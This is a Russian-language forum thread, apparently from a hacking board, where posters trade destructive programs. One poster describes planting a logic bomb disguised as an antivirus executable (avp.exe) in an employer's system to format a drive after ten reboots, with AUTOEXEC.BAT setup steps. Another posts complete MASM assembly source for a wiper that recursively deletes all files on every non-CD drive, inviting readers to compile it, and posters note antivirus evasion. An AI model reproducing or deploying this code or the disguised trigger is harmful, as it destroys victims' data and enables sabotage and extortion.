Поищи статейки про bat файлы, там тоже очень много интересного, кстати про форматирование дисков тоже пишут! Даже можно червя своего написать.
причем, если скомпилить компилятором Си - то экзешник антивирями не видится (года четыре назад точно не видился). Или антивири не считают это угрозой и вредоносной программой?
Жестоко.. Ну на фига формат нужен? Гоораздо интереснее побродить по винту в поисках полезной инфы,а ФОРМАТ ето вандализм.. (Извиняюсь за оффтоп)
Как мой пример. Устроился на работу, когда начал подходить к концу месячный испытательный срок - что-то шеф засуетился по поводу оплаты. Ну я и воткнул экзешник с счетчиком. После десятой перезагрузки - формат D. Но все обошлось.
Хех. Щас проверил - АВП его не палит =) ... Вот сам код: ... p.s. - это путь файла для счетчика. Т.е. по этому пути: C:\Program Files\AVP Shared Files\ должен лежать файл avp.ini содержащий сначала число 9. В AUTOEXEC.BAT в самом ниху надо дописать: set path=C:\WINDOWS\SYSTEM\ avp.exe и экзешник (avp.exe) запихнуть в папку SYSTEM
Писал как-то - друг попросил. Вот программка - не совсем формат. Рекурсивный поиск по всем дискам (кроме CD-ромов) и директориям с удалением всего, на что прав хватает. Сам ни разу в жизни не запускал, но очевидцы говорят, что работает на 5. Code: .386 .model flat, stdcall option casemap: none includelib kernel32.lib include kernel32.inc include windows.inc .data szStrDrive db "A:\", 0 szStrAll db "*.*", 0 szStrSlash db "\", 0 szStrIgnore1 db ".", 0 szStrIgnore2 db "..", 0 .data? CurrDirectory db MAX_PATH+1 dup (?) CurrFile db MAX_PATH+1 dup (?) SearchString db MAX_PATH+1 dup (?) FindData WIN32_FIND_DATA <?> hFile dd ? ddTemp dd ? .code ; ebx - маска логических дисков ; esi - длинна CurrDirectory со слешем на конце ; edi - offset CurrDirectory FindAndDeleteAllFiles proc hFind: DWORD @next_file: invoke FindNextFile, hFind, offset FindData or eax, eax jz @exit @search_loop: mov eax, FindData.dwFileAttributes and eax, FILE_ATTRIBUTE_DIRECTORY jz @is_file ; Directory invoke lstrcmp, offset FindData.cFileName, offset szStrIgnore1 or eax, eax jz @next_file invoke lstrcmp, offset FindData.cFileName, offset szStrIgnore2 or eax, eax jz @next_file ; True Directory ;) push esi invoke lstrcat, edi, offset FindData.cFileName invoke lstrcat, edi, offset szStrSlash invoke lstrlen, edi xchg eax, esi invoke lstrcpy, offset SearchString, edi invoke lstrcat, offset SearchString, offset szStrAll invoke FindFirstFile, offset SearchString, offset FindData invoke FindAndDeleteAllFiles, eax pop esi mov byte ptr[esi+edi], 0 jmp @next_file @is_file: invoke lstrcpy, offset CurrFile, offset CurrDirectory invoke lstrcat, offset CurrFile, offset FindData.cFileName invoke DeleteFile, offset CurrFile jmp @next_file @exit: invoke FindClose, hFind ret FindAndDeleteAllFiles endp start: xor esi, esi mov edi, offset CurrDirectory invoke GetLogicalDrives xchg eax, ebx _check_drive: mov al, bl and al, 1 jz _next_drive invoke GetDriveType, offset szStrDrive cmp eax, DRIVE_CDROM jz _next_drive invoke lstrcpy, edi, offset szStrDrive invoke lstrcpy, offset SearchString, offset szStrDrive invoke lstrcat, offset SearchString, offset szStrAll invoke FindFirstFile, offset SearchString, offset SearchString mov si, 3 invoke FindAndDeleteAllFiles, eax _next_drive: inc byte ptr[szStrDrive] shr ebx, 1 or ebx, ebx jnz _check_drive invoke ExitProcess, 0 end start Чистяк. Бинарник не просите - не выложу. Кто не умеет компилировать - учится. Все на свой страх и риск, отказываюсь нести какую-либо ответственность за использование этого исходника.